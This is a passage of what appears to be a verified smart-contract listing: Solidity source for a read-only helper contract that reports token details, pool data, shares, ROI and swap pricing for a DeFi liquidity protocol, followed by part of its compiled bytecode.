'Ethereum'; tokenDetails.symbol = 'ETH'; tokenDetails.decimals = 18; tokenDetails.totalSupply = 100000000 * 10**18; tokenDetails.balance = msg.sender.balance; } else { tokenDetails.name = iERC20(token).name(); tokenDetails.symbol = iERC20(token).symbol(); tokenDetails.decimals = iERC20(token).decimals(); tokenDetails.totalSupply = iERC20(token).totalSupply(); tokenDetails.balance = iERC20(token).balanceOf(member); } tokenDetails.tokenAddress = token; return tokenDetails; } function getGlobalDetails() public view returns (GlobalDetails memory globalDetails){ globalDetails.totalStaked = iROUTER(DAO.ROUTER()).totalStaked(); globalDetails.totalVolume = iROUTER(DAO.ROUTER()).totalVolume(); globalDetails.totalFees = iROUTER(DAO.ROUTER()).totalFees(); globalDetails.unstakeTx = iROUTER(DAO.ROUTER()).unstakeTx(); globalDetails.stakeTx = iROUTER(DAO.ROUTER()).stakeTx(); globalDetails.swapTx = iROUTER(DAO.ROUTER()).swapTx(); return globalDetails; } function getPool(address token) public view returns(address payable pool){ return iROUTER(DAO.ROUTER()).getPool(token); } function tokenCount() public view returns (uint256 count){ return iROUTER(DAO.ROUTER()).tokenCount(); } function allTokens() public view returns (address[] memory _allTokens){ return tokensInRange(0, iROUTER(DAO.ROUTER()).tokenCount()) ; } function tokensInRange(uint start, uint count) public view returns (address[] memory someTokens){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i < count; i++){ result[i] = iROUTER(DAO.ROUTER()).getToken(i); } return result; } function allPools() public view returns (address[] memory _allPools){ return poolsInRange(0, tokenCount()); } function poolsInRange(uint start, uint count) public view returns (address[] memory somePools){ if(start.add(count) > tokenCount()){ count = tokenCount().sub(start); } address[] memory result = new address[](count); for (uint i = 0; i<count; i++){ result[i] = getPool(iROUTER(DAO.ROUTER()).getToken(i)); } return result; } function getPoolData(address token) public view returns(PoolDataStruct memory poolData){ address payable pool = getPool(token); poolData.poolAddress = pool; poolData.tokenAddress = token; poolData.genesis = iPOOL(pool).genesis(); poolData.baseAmt = iPOOL(pool).baseAmt(); poolData.tokenAmt = iPOOL(pool).tokenAmt(); poolData.baseAmtStaked = iPOOL(pool).baseAmtStaked(); poolData.tokenAmtStaked = iPOOL(pool).tokenAmtStaked(); poolData.fees = iPOOL(pool).fees(); poolData.volume = iPOOL(pool).volume(); poolData.txCount = iPOOL(pool).txCount(); poolData.poolUnits = iERC20(pool).totalSupply(); return poolData; } function getMemberShare(address token, address member) public view returns(uint baseAmt, uint tokenAmt){ address pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return getPoolShare(token, units); } function getPoolShare(address token, uint units) public view returns(uint baseAmt, uint tokenAmt){ address payable pool = getPool(token); baseAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); return (baseAmt, tokenAmt); } function getShareOfBaseAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); } function getShareOfTokenAmount(address token, address member) public view returns(uint baseAmt){ address payable pool = getPool(token); uint units = iERC20(pool).balanceOf(member); return calcShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); } function getPoolShareAssym(address token, uint units, bool toBase) public view returns(uint baseAmt, uint tokenAmt, uint outputAmt){ address payable pool = getPool(token); if(toBase){ baseAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).baseAmt()); tokenAmt = 0; outputAmt = baseAmt; } else { baseAmt = 0; tokenAmt = calcAsymmetricShare(units, iERC20(pool).totalSupply(), iPOOL(pool).tokenAmt()); outputAmt = tokenAmt; } return (baseAmt, tokenAmt, outputAmt); } function getPoolAge(address token) public view returns (uint daysSinceGenesis){ address payable pool = getPool(token); uint genesis = iPOOL(pool).genesis(); if(now < genesis.add(86400)){ return 1; } else { return (now.sub(genesis)).div(86400); } } function getPoolROI(address token) public view returns (uint roi){ address payable pool = getPool(token); uint _baseStart = iPOOL(pool).baseAmtStaked().mul(2); uint _baseEnd = iPOOL(pool).baseAmt().mul(2); uint _ROIS = (_baseEnd.mul(10000)).div(_baseStart); uint _tokenStart = iPOOL(pool).tokenAmtStaked().mul(2); uint _tokenEnd = iPOOL(pool).tokenAmt().mul(2); uint _ROIA = (_tokenEnd.mul(10000)).div(_tokenStart); return (_ROIS + _ROIA).div(2); } function getPoolAPY(address token) public view returns (uint apy){ uint avgROI = getPoolROI(token); uint poolAge = getPoolAge(token); return (avgROI.mul(365)).div(poolAge); } function isMember(address token, address member) public view returns(bool){ address payable pool = getPool(token); if (iERC20(pool).balanceOf(member) > 0){ return true; } else { return false; } } //====================================PRICING====================================// function calcValueInBase(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInToken(address token, uint amount) public view returns (uint value){ address payable pool = getPool(token); return calcValueInTokenWithPool(pool, amount); } function calcTokenPPinBase(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcTokenPPinBaseWithPool(pool, amount); } function calcBasePPinToken(address token, uint amount) public view returns (uint _output){ address payable pool = getPool(token); return calcValueInBaseWithPool(pool, amount); } function calcValueInBaseWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_baseAmt)).div(_tokenAmt); } function calcValueInTokenWithPool(address payable pool, uint amount) public view returns (uint value){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return (amount.mul(_tokenAmt)).div(_baseAmt); } function calcTokenPPinBaseWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _tokenAmt, _baseAmt); } function calcBasePPinTokenWithPool(address payable pool, uint amount) public view returns (uint _output){ uint _baseAmt = iPOOL(pool).baseAmt(); uint _tokenAmt = iPOOL(pool).tokenAmt(); return calcSwapOutput(amount, _baseAmt, _tokenAmt); } //====================================CORE-MATH====================================// function calcPart(uint bp, uint total) public pure returns (uint part){ // 10,000 basis points = 100.00% require((bp <= 10000) && (bp > 0), "Must be correct BP"); return calcShare(bp, 10000, total); } function calcShare(uint part, uint total, uint amount) public pure returns (uint share){ // share = amount * part/total return(amount.mul(part)).div(total); } function calcSwapOutput(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * X * Y )/(x + X)^2 uint numerator = x.mul(X.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcSwapFee(uint x, uint X, uint Y) public pure returns (uint output){ // y = (x * x * Y) / (x + X)^2 uint numerator = x.mul(x.mul(Y)); uint denominator = (x.add(X)).mul(x.add(X)); return numerator.div(denominator); } function calcStakeUnits(uint b, uint B, uint t, uint T) public pure returns (uint units){ // units = ((T + B) * (t * B + T * b))/(4 * T * B) // (part1 * (part2 + part3)) / part4 uint part1 = T.add(B); uint part2 = t.mul(B); uint part3 = T.mul(b); uint numerator = part1.mul((part2.add(part3))); uint part4 = 4 * (T.mul(B)); return numerator.div(part4); } function calcAsymmetricShare(uint u, uint U, uint A) public pure returns (uint share){ // share = (u * U * (2 * A^2 - 2 * U * u + U^2))/U^3 // (part1 * (part2 - part3 + part4)) / part5 uint part1 = u.mul(A); uint part2 = U.mul(U).mul(2); uint part3 = U.mul(u).mul(2); uint part4 = u.mul(u); uint numerator = part1.mul(part2.sub(part3).add(part4)); uint part5 = U.mul(U).mul(U); return numerator.div(part5); } }
0x608060405234801561001057600080fd5b50600436106102275760003560e01c8063896a708c11610130578063bd9caa58116100b8578063cef7a09b1161007c578063cef7a09b146104cd578063d087874a146104e0578063db39dc7914610325578063ec342ad0146104f3578063f01e3e20146104fb57610227565b8063bd9caa5814610482578063c0c4a72414610495578063c1b8411a146104a8578063c5c63e65146104b0578063c9650a33146104b857610227565b8063b0d76a10116100ff578063b0d76a1014610423578063b23b416d14610436578063b49413e414610449578063b7cf309e1461045c578063bbe4f6db1461046f57610227565b8063896a708c146103d257806390d1cb00146103e557806398fabd3a146104065780639f181b5e1461041b57610227565b8063410521b7116101b35780636ff97f1d116101825780636ff97f1d14610371578063701baaf314610386578063714270ab1461039957806372af9228146103ac57806388aa8bee146103bf57610227565b8063410521b71461032557806349407a72146103385780634a1276511461034b5780636b940d0f1461035e57610227565b80631ba326c4116101fa5780631ba326c4146102b7578063254406d4146102ca57806326d768e9146102dd578063389b7b5b146102f057806339ac7a081461030557610227565b80630e1743911461022c57806313d21cdf1461025757806317a7d336146102775780631b70044c14610297575b600080fd5b61023f61023a366004612c11565b61050e565b60405161024e93929190613004565b60405180910390f35b61026a610265366004612b64565b6106db565b60405161024e9190612eeb565b61028a610285366004612b9c565b610b55565b60405161024e9190612fed565b6102aa6102a5366004612bc7565b610c6b565b60405161024e9190612f78565b61028a6102c5366004612d20565b610f64565b61028a6102d8366004612b9c565b610f82565b61028a6102eb366004612b64565b611078565b6102f86110a9565b60405161024e9190612ea7565b610318610313366004612bc7565b611665565b60405161024e9190612e16565b61028a610333366004612bff565b61170b565b61028a610346366004612bff565b611723565b61028a610359366004612d20565b61173b565b61028a61036c366004612b9c565b61180c565b610379611902565b60405161024e9190612dc9565b61028a610394366004612d20565b611a04565b61028a6103a7366004612cff565b611a5d565b61028a6103ba366004612b9c565b611aaa565b6102aa6103cd366004612b64565b611ba9565b61028a6103e0366004612d20565b611bbb565b6103f86103f3366004612bc7565b611bd1565b60405161024e929190612ff6565b61040e611c78565b60405161024e9190612db5565b61028a611c87565b610379610431366004612cff565b611d74565b61028a610444366004612b64565b611f2d565b61028a610457366004612b64565b611ff5565b61037961046a366004612cff565b612197565b61040e61047d366004612b64565b612344565b6103f8610490366004612bff565b61243c565b61028a6104a3366004612bff565b6125ec565b61040e612604565b610379612613565b6104cb6104c6366004612b64565b612622565b005b61028a6104db366004612bc7565b61266e565b61028a6104ee366004612d4b565b6127aa565b61040e612832565b61028a610509366004612bc7565b612841565b60008060008061051d87612344565b905084156106195761060b86826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561056257600080fd5b505afa158015610576573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061059a9190612ce7565b836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d357600080fd5b505afa1580156105e7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906103599190612ce7565b9350600092508391506106d1565b600093506106cb86826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561065a57600080fd5b505afa15801561066e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106929190612ce7565b836001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b1580156105d357600080fd5b92508291505b5093509350939050565b6106e3612a83565b60006106ee83612344565b6001600160a01b0380821660208086018290529186168552604080516353f859ef60e11b81529051939450909263a7f0b3de92600480840193919291829003018186803b15801561073e57600080fd5b505afa158015610752573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107769190612ce7565b826040018181525050806001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b1580156107b857600080fd5b505afa1580156107cc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107f09190612ce7565b826060018181525050806001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561083257600080fd5b505afa158015610846573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086a9190612ce7565b826080018181525050806001600160a01b031663c35d6e286040518163ffffffff1660e01b815260040160206040518083038186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108e49190612ce7565b8260a0018181525050806001600160a01b031663c2c080686040518163ffffffff1660e01b815260040160206040518083038186803b15801561092657600080fd5b505afa15801561093a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061095e9190612ce7565b8260c0018181525050806001600160a01b0316639af1d35a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156109a057600080fd5b505afa1580156109b4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109d89190612ce7565b8260e0018181525050806001600160a01b031663c618a1e46040518163ffffffff1660e01b815260040160206040518083038186803b158015610a1a57600080fd5b505afa158015610a2e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a529190612ce7565b82610100018181525050806001600160a01b0316633c5406876040518163ffffffff1660e01b815260040160206040518083038186803b158015610a9557600080fd5b505afa158015610aa9573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610acd9190612ce7565b82610120018181525050806001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b1057600080fd5b505afa158015610b24573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b489190612ce7565b610140830152505b919050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b158015610b9157600080fd5b505afa158015610ba5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bc99190612ce7565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b158015610c0657600080fd5b505afa158015610c1a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c3e9190612ce7565b9050610c6082610c54868463ffffffff61297d16565b9063ffffffff6129b716565b925050505b92915050565b610c73612aef565b6001600160a01b038316610ce3576040805180820182526008815267457468657265756d60c01b60208083019190915290835281518083018352600381526208aa8960eb1b81830152908301526012908201526a52b7d2dcc80cd2e4000000606082015233316080820152610f4f565b826001600160a01b03166306fdde036040518163ffffffff1660e01b815260040160006040518083038186803b158015610d1c57600080fd5b505afa158015610d30573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610d589190810190612c56565b8160000181905250826001600160a01b03166395d89b416040518163ffffffff1660e01b815260040160006040518083038186803b158015610d9957600080fd5b505afa158015610dad573d6000803e3d6000fd5b505050506040513d6000823e601f3d908101601f19168201604052610dd59190810190612c56565b8160200181905250826001600160a01b031663313ce5676040518163ffffffff1660e01b815260040160206040518083038186803b158015610e1657600080fd5b505afa158015610e2a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4e9190612ce7565b816040018181525050826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610e9057600080fd5b505afa158015610ea4573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ec89190612ce7565b60608201526040516370a0823160e01b81526001600160a01b038416906370a0823190610ef9908590600401612db5565b60206040518083038186803b158015610f1157600080fd5b505afa158015610f25573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f499190612ce7565b60808201525b6001600160a01b03831660a082015292915050565b6000610f7a83610c54848763ffffffff61297d16565b949350505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b158015610fbe57600080fd5b505afa158015610fd2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ff69190612ce7565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561103357600080fd5b505afa158015611047573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061106b9190612ce7565b9050610c60848284611a04565b60008061108483611ff5565b9050600061109184611f2d565b9050610f7a81610c548461016d63ffffffff61297d16565b6110b1612b2e565b600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b1580156110ff57600080fd5b505afa158015611113573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111379190612b80565b6001600160a01b031663817b1cd26040518163ffffffff1660e01b815260040160206040518083038186803b15801561116f57600080fd5b505afa158015611183573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111a79190612ce7565b81526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b1580156111ee57600080fd5b505afa158015611202573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112269190612b80565b6001600160a01b0316635f81a57c6040518163ffffffff1660e01b815260040160206040518083038186803b15801561125e57600080fd5b505afa158015611272573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906112969190612ce7565b6020808301919091526002546040805163197f3d9360e11b815290516001600160a01b03909216926332fe7b2692600480840193829003018186803b1580156112de57600080fd5b505afa1580156112f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113169190612b80565b6001600160a01b03166313114a9d6040518163ffffffff1660e01b815260040160206040518083038186803b15801561134e57600080fd5b505afa158015611362573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113869190612ce7565b604080830191909152600254815163197f3d9360e11b815291516001600160a01b03909116916332fe7b26916004808301926020929190829003018186803b1580156113d157600080fd5b505afa1580156113e5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114099190612b80565b6001600160a01b031663f1900dc56040518163ffffffff1660e01b815260040160206040518083038186803b15801561144157600080fd5b505afa158015611455573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114799190612ce7565b60608201526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b1580156114c357600080fd5b505afa1580156114d7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906114fb9190612b80565b6001600160a01b0316639e3d67c96040518163ffffffff1660e01b815260040160206040518083038186803b15801561153357600080fd5b505afa158015611547573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061156b9190612ce7565b60808201526002546040805163197f3d9360e11b815290516001600160a01b03909216916332fe7b2691600480820192602092909190829003018186803b1580156115b557600080fd5b505afa1580156115c9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115ed9190612b80565b6001600160a01b031663d04975506040518163ffffffff1660e01b815260040160206040518083038186803b15801561162557600080fd5b505afa158015611639573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061165d9190612ce7565b60a082015290565b60008061167184612344565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b81526004016116a19190612db5565b60206040518083038186803b1580156116b957600080fd5b505afa1580156116cd573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116f19190612ce7565b1115611701576001915050610c65565b6000915050610c65565b60008061171784612344565b9050610f7a8184611aaa565b60008061172f84612344565b9050610f7a8184610f82565b60008061174e858463ffffffff61297d16565b905060006117736002611767878063ffffffff61297d16565b9063ffffffff61297d16565b9050600061178c6002611767888a63ffffffff61297d16565b905060006117a0888063ffffffff61297d16565b905060006117d46117c7836117bb878763ffffffff6129e416565b9063ffffffff612a1116565b869063ffffffff61297d16565b905060006117ec89611767818063ffffffff61297d16565b90506117fe828263ffffffff6129b716565b9a9950505050505050505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561184857600080fd5b505afa15801561185c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118809190612ce7565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b1580156118bd57600080fd5b505afa1580156118d1573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118f59190612ce7565b9050610c60848383611a04565b60606119ff6000600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b15801561195757600080fd5b505afa15801561196b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061198f9190612b80565b6001600160a01b0316639f181b5e6040518163ffffffff1660e01b815260040160206040518083038186803b1580156119c757600080fd5b505afa1580156119db573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061046a9190612ce7565b905090565b600080611a1a6117c7858563ffffffff61297d16565b90506000611a41611a31878763ffffffff612a1116565b611767888863ffffffff612a1116565b9050611a53828263ffffffff6129b716565b9695505050505050565b60006127108311158015611a715750600083115b611a965760405162461bcd60e51b8152600401611a8d90612e56565b60405180910390fd5b611aa38361271084610f64565b9392505050565b600080836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae657600080fd5b505afa158015611afa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1e9190612ce7565b90506000846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b158015611b5b57600080fd5b505afa158015611b6f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b939190612ce7565b9050610c6081610c54868563ffffffff61297d16565b611bb1612aef565b610c658233610c6b565b600080611a1a6117c7868563ffffffff61297d16565b6000806000611bdf85612344565b90506000816001600160a01b03166370a08231866040518263ffffffff1660e01b8152600401611c0f9190612db5565b60206040518083038186803b158015611c2757600080fd5b505afa158015611c3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611c5f9190612ce7565b9050611c6b868261243c565b9350935050509250929050565b6002546001600160a01b031681565b6002546040805163197f3d9360e11b815290516000926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b158015611ccc57600080fd5b505afa158015611ce0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611d049190612b80565b6001600160a01b0316639f181b5e6040518163ffffffff1660e01b815260040160206040518083038186803b158015611d3c57600080fd5b505afa158015611d50573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119ff9190612ce7565b6060611d7e611c87565b611d8e848463ffffffff612a1116565b1115611daf57611dac83611da0611c87565b9063ffffffff6129e416565b91505b60608267ffffffffffffffff81118015611dc857600080fd5b50604051908082528060200260200182016040528015611df2578160200160208202803683370190505b50905060005b83811015611f25576002546040805163197f3d9360e11b81529051611ef9926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b158015611e4657600080fd5b505afa158015611e5a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611e7e9190612b80565b6001600160a01b031663e4b50cb8836040518263ffffffff1660e01b8152600401611ea99190612fed565b60206040518083038186803b158015611ec157600080fd5b505afa158015611ed5573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061047d9190612b80565b828281518110611f0557fe5b6001600160a01b0390921660209283029190910190910152600101611df8565b509392505050565b600080611f3983612344565b90506000816001600160a01b031663a7f0b3de6040518163ffffffff1660e01b815260040160206040518083038186803b158015611f7657600080fd5b505afa158015611f8a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fae9190612ce7565b9050611fc3816201518063ffffffff612a1116565b421015611fd557600192505050610b50565b611fec62015180610c54428463ffffffff6129e416565b92505050610b50565b60008061200183612344565b9050600061207b6002836001600160a01b031663c35d6e286040518163ffffffff1660e01b815260040160206040518083038186803b15801561204357600080fd5b505afa158015612057573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117679190612ce7565b905060006120bd6002846001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b15801561204357600080fd5b905060006120d783610c548461271063ffffffff61297d16565b905060006121196002866001600160a01b031663c2c080686040518163ffffffff1660e01b815260040160206040518083038186803b15801561204357600080fd5b9050600061215b6002876001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b15801561204357600080fd5b9050600061217583610c548461271063ffffffff61297d16565b905061218a848201600263ffffffff6129b716565b9998505050505050505050565b60606121a1611c87565b6121b1848463ffffffff612a1116565b11156121c6576121c383611da0611c87565b91505b60608267ffffffffffffffff811180156121df57600080fd5b50604051908082528060200260200182016040528015612209578160200160208202803683370190505b50905060005b83811015611f2557600260009054906101000a90046001600160a01b03166001600160a01b03166332fe7b266040518163ffffffff1660e01b815260040160206040518083038186803b15801561226557600080fd5b505afa158015612279573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061229d9190612b80565b6001600160a01b031663e4b50cb8826040518263ffffffff1660e01b81526004016122c89190612fed565b60206040518083038186803b1580156122e057600080fd5b505afa1580156122f4573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123189190612b80565b82828151811061232457fe5b6001600160a01b039092166020928302919091019091015260010161220f565b6002546040805163197f3d9360e11b815290516000926001600160a01b0316916332fe7b26916004808301926020929190829003018186803b15801561238957600080fd5b505afa15801561239d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123c19190612b80565b6001600160a01b031663bbe4f6db836040518263ffffffff1660e01b81526004016123ec9190612db5565b60206040518083038186803b15801561240457600080fd5b505afa158015612418573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c659190612b80565b600080600061244a85612344565b905061253284826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561248957600080fd5b505afa15801561249d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124c19190612ce7565b836001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fa57600080fd5b505afa15801561250e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906102c59190612ce7565b92506125e284826001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561257157600080fd5b505afa158015612585573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125a99190612ce7565b836001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fa57600080fd5b9150509250929050565b6000806125f884612344565b9050610f7a8184610b55565b6001546001600160a01b031681565b60606119ff6000610431611c87565b6001546001600160a01b0316331461264c5760405162461bcd60e51b8152600401611a8d90612e82565b600280546001600160a01b0319166001600160a01b0392909216919091179055565b60008061267a84612344565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b81526004016126aa9190612db5565b60206040518083038186803b1580156126c257600080fd5b505afa1580156126d6573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126fa9190612ce7565b9050610c6081836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561273957600080fd5b505afa15801561274d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127719190612ce7565b846001600160a01b0316632f4775866040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fa57600080fd5b6000806127bd838663ffffffff612a1116565b905060006127d1858763ffffffff61297d16565b905060006127e5858963ffffffff61297d16565b905060006128096127fc848463ffffffff612a1116565b859063ffffffff61297d16565b9050600061281d878a63ffffffff61297d16565b60040290506117fe828263ffffffff6129b716565b6000546001600160a01b031681565b60008061284d84612344565b90506000816001600160a01b03166370a08231856040518263ffffffff1660e01b815260040161287d9190612db5565b60206040518083038186803b15801561289557600080fd5b505afa1580156128a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906128cd9190612ce7565b9050610c6081836001600160a01b03166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561290c57600080fd5b505afa158015612920573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906129449190612ce7565b846001600160a01b031663dc883ca46040518163ffffffff1660e01b815260040160206040518083038186803b1580156124fa57600080fd5b60008261298c57506000610c65565b8282028284828161299957fe5b0414611aa35760405162461bcd60e51b8152600401611a8d90612e34565b6000611aa38383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250612a20565b6000611aa38383604051806040016040528060088152602001670a6c2ccca9ac2e8d60c31b815250612a57565b600082820183811015611aa357fe5b60008183612a415760405162461bcd60e51b8152600401611a8d9190612e21565b506000838581612a4d57fe5b0495945050505050565b60008184841115612a7b5760405162461bcd60e51b8152600401611a8d9190612e21565b505050900390565b60405180610160016040528060006001600160a01b0316815260200160006001600160a01b031681526020016000815260200160008152602001600081526020016000815260200160008152602001600081526020016000815260200160008152602001600081525090565b6040518060c00160405280606081526020016060815260200160008152602001600081526020016000815260200160006001600160a01b031681525090565b6040518060c001604052806000815260200160008152602001600081526020016000815260200160008152602001600081525090565b600060208284031215612b75578081fd5b8135611aa38161304a565b600060208284031215612b91578081fd5b8151611aa38161304a565b60008060408385031215612bae578081fd5b8235612bb98161304a565b946020939093013593505050565b60008060408385031215612bd9578182fd5b8235612be48161304a565b91506020830135612bf48161304a565b809150509250929050565b60008060408385031215612bae578182fd5b600080600060608486031215612c25578081fd5b8335612c308161304a565b92506020840135915060408401358015158114612c4b578182fd5b809150509250925092565b600060208284031215612c67578081fd5b815167ffffffffffffffff80821115612c7e578283fd5b81840185601f820112612c8f578384fd5b8051925081831115612c9f578384fd5b604051601f8401601f191681016020018381118282101715612cbf578586fd5b604052838152818401602001871015612cd6578485fd5b611a5384602083016020850161301a565b600060208284031215612cf8578081fd5b5051919050565b60008060408385031215612d11578182fd5b50508035926020909101359150565b600080600060608486031215612d34578283fd5b505081359360208301359350604090920135919050565b60008060008060808587031215612d60578081fd5b5050823594602084013594506040840135936060013592509050565b6001600160a01b03169052565b60008151808452612da181602086016020860161301a565b601f01601f19169290920160200192915050565b6001600160a01b0391909116815260200190565b6020808252825182820181905260009190848201906040850190845b81811015612e0a5783516001600160a01b031683529284019291840191600101612de5565b50909695505050505050565b901515815260200190565b600060208252611aa36020830184612d89565b6020808252600890820152670a6c2ccca9ac2e8d60c31b604082015260600190565b60208082526012908201527104d75737420626520636f72726563742042560741b604082015260600190565b6020808252600b908201526a2232b83637bcb2b922b93960a91b604082015260600190565b600060c082019050825182526020830151602083015260408301516040830152606083015160608301526080830151608083015260a083015160a083015292915050565b600061016082019050612eff828451612d7c565b6020830151612f116020840182612d7c565b5060408301516040830152606083015160608301526080830151608083015260a083015160a083015260c083015160c083015260e083015160e083015261010080840151818401525061012080840151818401525061014080840151818401525092915050565b600060208252825160c06020840152612f9460e0840182612d89565b6020850151848203601f190160408601529150612fb18183612d89565b6040860151606086